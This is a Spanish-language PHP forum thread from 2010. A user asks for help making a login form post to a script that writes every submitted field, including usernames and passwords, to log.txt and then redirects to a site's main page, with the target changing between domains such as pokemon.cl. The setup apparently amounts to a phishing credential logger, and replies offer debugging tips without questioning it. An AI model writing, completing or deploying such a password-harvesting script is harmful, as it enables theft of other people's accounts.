Foros del Web » Programando para Internet » PHP »

ayuda con el formulario

Estas en el tema de ayuda con el formulario en el foro de PHP en Foros del Web. Hola a todos bueno les cuento tengo una pagina con un formulario login y pass el form es asi: Código: <form action='' method='post' name='login_account' id='login_account'> ...
  #1 (permalink)  
Antiguo 04/03/2010, 16:51
 
Fecha de Ingreso: marzo-2010
Mensajes: 6
Antigüedad: 14 años, 8 meses
Puntos: 0
ayuda con el formulario

Hola a todos bueno les cuento tengo una pagina
con un formulario login y pass
el form es asi:

Código:
  
<form action='' method='post' name='login_account' id='login_account'>
                          <table width='166' border='0' cellspacing='0' cellpadding='0'>
                            <tr>
                              <td height='16' colspan='2' class='text_login' scope='row' align='left'>Username</td>
                            </tr>
                            <tr>
                              <th height='16' colspan='2' scope='row'><div align='left'>
                                  <input name='login' type='text' class='login_field' id='login' title='Username' size='15' maxlength='10'>

                                  <input name='account_login' type='hidden' id='account_login' value='account_login'>
                              </div></th>
                            </tr>
                            <tr>
                              <td height='16' colspan='2' class='text_login' scope='row' align='left'>Password</td>
                            </tr>
                            <tr>
                              <th colspan='2' scope='row'><div align='left'>

                                  <input name='pass' type='password' class='login_field' id='pass' title='Password' size='15' maxlength='10'>
                              </div></th>
                            </tr>
                            <tr>
                              <th width='62' height='33' scope='row'><div align='left'>
                                  <input name='Submit' type='submit' class='button' value='Login!' title='Login'>
                              </div></th>
                              <td width='104' scope='row'><div align='left' title='Lost Password' class='link_menu'><a href='http://mipagina/index.php?op=lostpassword'>Lost Password </a></div></td>

                            </tr>
                          </table>
                        </form>
el problema es que quiero que el formulario pase por este php

Código:
<?php
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
header ('Location: http://www.miweb.cl/index.php/ ');
exit;
?>
por lo que edite
Código:
<form action='' method='post' name='login_account' id='login_account'>
por esto

Código:
<FORM METHOD="post" ACTION="datos.php">
pero el problema surgue en que al momento de redireccionar la web me lleva a la pagina principal pero sin autentificarse

no se mucho de php ya que mi web es prediseñada si pudieran darme una solucion facil,explicativa se los agradeceria desde el fondo de mi corazon :D
demasiado......,mucho diria yo,es lo unico que me falta para tener mi web en perfecto estado muchas gracias
  #2 (permalink)  
Antiguo 04/03/2010, 17:14
Avatar de blogger  
Fecha de Ingreso: diciembre-2005
Ubicación: frente al monitor
Mensajes: 398
Antigüedad: 18 años, 11 meses
Puntos: 12
Respuesta: ayuda con el formulario

Lo que sucede es que no estas recibiendo / declarando las variables y datos del formulario en el PHP, por eso se va directo al index.php, por que no estas manejando / procesando nada de información. Necesitas poner al inicio algo como:

$variable = $_POST['nombre_del_campo']
__________________
http://exegesis-biblica.com/
  #3 (permalink)  
Antiguo 04/03/2010, 17:33
 
Fecha de Ingreso: marzo-2010
Mensajes: 6
Antigüedad: 14 años, 8 meses
Puntos: 0
Exclamación Respuesta: ayuda con el formulario

Disculpa mi ultra mega ignoriancia en esto deverdad disculpenme
osea el codigo seria esto?

Código:
<?php
$variable = $_POST['account_login']
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
header ('Location: http://fantazymu.web.id/index.php/ ');
exit;
?>
es que no me funciono :/
que nombre de campo pongo? disculpen :/
  #4 (permalink)  
Antiguo 04/03/2010, 18:01
Avatar de blogger  
Fecha de Ingreso: diciembre-2005
Ubicación: frente al monitor
Mensajes: 398
Antigüedad: 18 años, 11 meses
Puntos: 12
Respuesta: ayuda con el formulario

Pon el nombre del campo o campos que quieres validar.
__________________
http://exegesis-biblica.com/
  #5 (permalink)  
Antiguo 05/03/2010, 00:56
 
Fecha de Ingreso: marzo-2010
Mensajes: 6
Antigüedad: 14 años, 8 meses
Puntos: 0
Respuesta: ayuda con el formulario

no logre que me funcionara probe con esto pero nada :/

Cita:
<?php
$variable = $_POST['text_login'];
$variable = $_POST['login_field'];
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
header ('Location: http://fantazymu.web.id/index.php/ ');
exit;
?>
tambien con:

Cita:
<?php
$variable = $_POST['account_login'];
$variable = $_POST['pass'];
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
header ('Location: http://www.pokemon.cl/index.php/ ');
exit;
?>
no se mucho de php pero creo que ahora es producto de esto:

Cita:
<form action='' method='post' name='login_account' id='login_account'>
Cita:
<FORM METHOD="post" ACTION="datos.php">
ya que al cambiarlo por eso noto que eso de ame='login_account' id='login_account' no se aplica
intente modificarlo por esto no se si exista pero tampoco funciono :/

Cita:
<FORM METHOD='post' name='login_account' id='login_account' ACTION="datos.php">
porfavor es un caso puntual de php para mi, solo necesito poder solucionar eso, si me explican bien se los agradeceria demasiado gracias

EDIT:estuve leyendo con respecto a las secciones y seria mas facil agregar al index.php al inicio esto:
Cita:
<?php
session_start ();
pero que codigo le pongo a continuacion para que copie todos datos puestos en la id y pass y despues los guarde en un txt?

Última edición por Victor123; 05/03/2010 a las 03:47
  #6 (permalink)  
Antiguo 05/03/2010, 12:33
 
Fecha de Ingreso: marzo-2010
Mensajes: 6
Antigüedad: 14 años, 8 meses
Puntos: 0
Respuesta: ayuda con el formulario

Código:
echo "<form action='' method='post' name='login_account' id='login_account'>
                          <table width='166' border='0' cellspacing='0' cellpadding='0'>
                            <tr>
                              <td height='16' colspan='2' class='text_login' scope='row' align='left'>Username</td>
                            </tr>
                            <tr>
                              <th height='16' colspan='2' scope='row'><div align='left'>
                                  <input name='login' type='text' class='login_field' id='login' title='Username' size='15' maxlength='10'>
                                  <input name='account_login' type='hidden' id='account_login' value='account_login'>
                              </div></th>
                            </tr>
                            <tr>
                              <td height='16' colspan='2' class='text_login' scope='row' align='left'>Password</td>
                            </tr>
                            <tr>
                              <th colspan='2' scope='row'><div align='left'>
                                  <input name='pass' type='password' class='login_field' id='pass' title='Password' size='15' maxlength='10'>
                              </div></th>
                            </tr>
                            <tr>
                              <th width='62' height='33' scope='row'><div align='left'>
                                  <input name='Submit' type='submit' class='button' value='Login!' title='Login'>
                              </div></th>
                              <td width='104' scope='row'><div align='left' title='Lost Password' class='link_menu'><a href='http://www.hay.com/index.php?op=lostpassword'>Lost Password </a></div></td>
                            </tr>
                          </table>
                        </form>";
no consigo que se guarden los logues en un txt quien sabe como hacerlo gracias :)
  #7 (permalink)  
Antiguo 05/03/2010, 12:41
 
Fecha de Ingreso: octubre-2009
Mensajes: 43
Antigüedad: 15 años, 1 mes
Puntos: 1
Respuesta: ayuda con el formulario

Hola !!!

En el segundo archivo php (que recibe las variables), asigna una varialbe por cada una que recibas. Por ejemplo:

$variable_1 = $_POST['account_login'];
$variable_2 = $_POST['pass'];

Verifica que la informacion este pasando completa y por post, esto lo puedes hacer colocando lo siguiente:

print_r($_POST);

Tambien verifica si esta creando el archivo, asi sea en blanco, y si esta agregando algo o no. Si quieres que el archivo se vaya "agrandando" la opcion es a+, no a solamente.
  #8 (permalink)  
Antiguo 06/03/2010, 12:59
 
Fecha de Ingreso: marzo-2010
Mensajes: 6
Antigüedad: 14 años, 8 meses
Puntos: 0
Respuesta: ayuda con el formulario

:/ no soluciono nada no hay caso porfavor solo necesito hacer que se guarden los datos del login y pass en un documento de texto y que despues se loguee,muchas gracias :)

Etiquetas: Ninguno
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 12:16.